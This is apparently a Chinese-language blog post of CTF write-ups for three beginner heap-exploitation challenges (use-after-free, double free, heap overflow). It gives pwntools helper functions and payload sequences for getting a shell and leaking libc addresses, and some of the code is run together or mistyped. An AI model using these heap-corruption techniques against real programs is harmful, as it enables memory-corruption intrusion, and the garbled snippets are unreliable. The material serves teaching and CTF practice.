pwn-堆利用入门例题

ops/2025/1/15 13:50:19/

堆入门好难啊,但十分具有挑战性

题目链接:PolarD&N

1.heap_Easy_Uaf:(Use after free)

漏洞函数在这里,向a中写入flag后free了a,但指针仍然指向a.

那么此时fast-bins中就有一个大小为0x78的堆块,a指向这个堆块,如果我们申请一个大小为0x68的堆块的话(b),a与b就都指向这个0x78大小的堆块了,那么在b处写入Flag即可通过strncmp的检测从而getshell.

2.heap_Double_Free(Double free):

有用的信息就是我们可以申请任意大小的堆块或删除堆块,并且如果能满足globals1[4]==257就可以getshell,我们的目标就是将257写入globals[4]中,观察到globals1为dd形式,globals1[4]的地址就是globals1+16

上方的free函数存在一个漏洞:在free后并没有指控指针,我们便可以采取以下策略:

将一个堆块释放两次,再将其申回来,这就造成了这个堆块即在bins中,又在使用中的双重身份,此时我们填充的前八个字节的内容便会覆盖bins中这个堆块的fd指针,也就导致bins中可以出现任何我们想要的地址的堆块,我们便可以实现任意地址写.

题目函数的模拟:

def add(index,size,payload):io.recvuntil(b"root@ubuntu:~/Desktop$ ")io.sendline(b"1")io.sendlineafter(b"id and size :",str(index).encode())io.sendline(str(size).encode())io.sendlineafter(B"contet:\n",payload)
def free(index):io.recvuntil(b"(size)buntu:~/Desktop$ ")io.sendline(b"2")io.sendlineafter(b"id :\n",str(index).encode())
def get():io.recvunti((b"r)ot@ubuntu:~/Desktop$ ")io.sendline(b"4")

payload:

add(0,0x68,b'a')#0
add(1,0x68,b'a')#1
add(2,0x68,b'a')#2free(0)
free(1)
free(0)add(3,0x68,p64(0x6010A0))
add(4,0x68,b'a')
add(5,0x68,b'a')
add(6,0x68,p64(0x101))

为什么add(3,0x68,p64(0x6010A0))最后能改globals1[4]的内容呢?因为fd,bk指向的都是chunk head,而chunk data都是从[chunk head]+sizeof(chunk head)处开始的,说明要跳过一个chunk head.

3.Emo_Chunk(Heap overflow):

拥有add,edit,dele,print四个功能,其中edit可以写入256字节,这就造成了堆溢出,我们可以改变下个chunk的chunk head,fd等信息.

前置准备:

def add(size,):io.sendlineafter(b"Please Choice!\n",b"1")io.sendlineafter(b"Please Input Size:\n",str(size).encode())
def edit(Id,context):io.sendlineafter(b"Please Choice!\n",b"3")io.sendlineafter(b"Please Input index:\n",str(Id).encode())io.sendlineafter(b"Change EMo Content\n",context)
def free(Id):io.sendlineafter(b"Please Choice!\n",b"2")io.sendlineafter(b"Please Input index:\n",str(Id).encode())
def show(Id):io.sendlineafter(b"Please Choice!\n",b"4")io.recvuntil(b"Please Input index:\n")io.sendline(str(Id).encode())

leak:

payload=b'a'*0x68+p64(0xD0+0x11)
edit(0,payload)
free(1)
add(0x68)#1
show(2)

向chunk0中写入溢出数据覆盖chunk1的chunk head为0x68*2+0x10+1,其中0x68*2代表了chunk1和chunk2中的所有数据的大小,0x10代表chunk1和chunk2的chunk head大小(prev size)被服用所有chunk head中只有chunk size.0x1代表前一个chunk(chunk0)在使用中.这样chunk1就与chunk2重叠.

此时free掉chunk1会导致chunk1与chunk2都进入bins(unsortbins)中,而chunk2仍然在使用中可以通过索引寻址,于是chun2具有了同时在bins中与被使用中的双重身份.(这也说明free函数的作用域是根据chunk head决定的)

此时如果我们再申请一个0x68的堆块,那么系统会在unsortbins中将一个较大的堆块切分为两个堆块,并将第一个堆块返回给我们,且我们知道第一个堆块就是chunk1,那么此时bins中只有chunk2.我们还知道此时chunk2作为bins中的堆块,fd指针指向了[main_arena+88],那作为被使用的chunk,此时打印就可以将main_arena+88打印出来,实现libc的泄露.


http://www.ppmy.cn/ops/150296.html

相关文章

ubuntu各分区的用途

在 Ubuntu 中,分区是将硬盘划分为多个逻辑部分的过程,每个分区可以用于不同的用途。合理分区可以提高系统性能、数据安全性和管理效率。以下是 Ubuntu 中常见分区及其用途的详细说明: 1. 根分区 (/) 用途:存放操作系统核心文件、…

性能工具之 JMeter ActiveMQ 脚本开发实践

文章目录 一、ActiveMQ环境搭建1.1、控制台环境搭建1.2、控制台配置 二、SpringBoot开发环境搭建三、JMeter脚本二次开发环境搭建 一、ActiveMQ环境搭建 1.1、控制台环境搭建 下载 ActiveMQ 地址为: https://activemq.apache.org/components/classic/download/ 注…

yum和vim的使用

目录 一.Linux软件包管理器yum 二.Linux编辑器vim使用 1.vim的基本概念 2.vim的基本操作 3.vim正常模式命令 4.vim末行模式命令 5.vim的配置 一.Linux软件包管理器yum 什么是软件包 在Linux下安装软件, 一个通常的办法是下载到程序的源代码, 并进行编译, 得到可执行程序…

反转字符串力扣--344

目录 题目 思路 双指针法 代码 双指针法 题目 编写一个函数,其作用是将输入的字符串反转过来。输入字符串以字符数组 s 的形式给出。 不要给另外的数组分配额外的空间,你必须原地修改输入数组、使用 O(1) 的额外空间解决这一问题。 示例 1&#…

数字普惠金融对新质生产力的影响研究(2015-2023年)

基于2015—2023年中国制造业上市公司数据,探讨了数字普惠金融对制造业企业新质生产力的影响及作用机理。研究发现,数字普惠金融有助于促进制造业企业新质生产力的发展,尤其是在数字普惠金融的使用深度较大的情况下,其对新质生产力…

Windows图形界面(GUI)-QT-C/C++ - QT信号与槽机制详解

公开视频 -> 链接点击跳转公开课程博客首页 -> ​​​链接点击跳转博客主页 目录 Qt消息机制概述 什么是信号与槽 基本概念 信号(Signals)详解 信号的特征 信号的定义方式 槽(Slots)详解 槽的特征 槽的定义方式 信号与槽的连接 基本连接语法 连接类型 高级特…

SQLite 语法快速入门

SQLite 是一个软件库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。 提供一个免费的在线SQLite编辑器 (0)常用命令 # 格式化 .header on .mode column .timer on# 查看表格 .tables# 查看表结构(建表语句) .schema …

纯 Python、Django、FastAPI、Flask、Pyramid、Jupyter、dbt 解析和差异分析

一、纯 Python 1.1 基础概念 Python 是一种高级、通用、解释型的编程语言,以其简洁易读的语法和丰富的标准库而闻名。“纯 Python” 在这里指的是不依赖特定的 Web 框架或数据分析工具,仅使用 Python 原生的功能和标准库来开发应用程序或执行任务。 1.…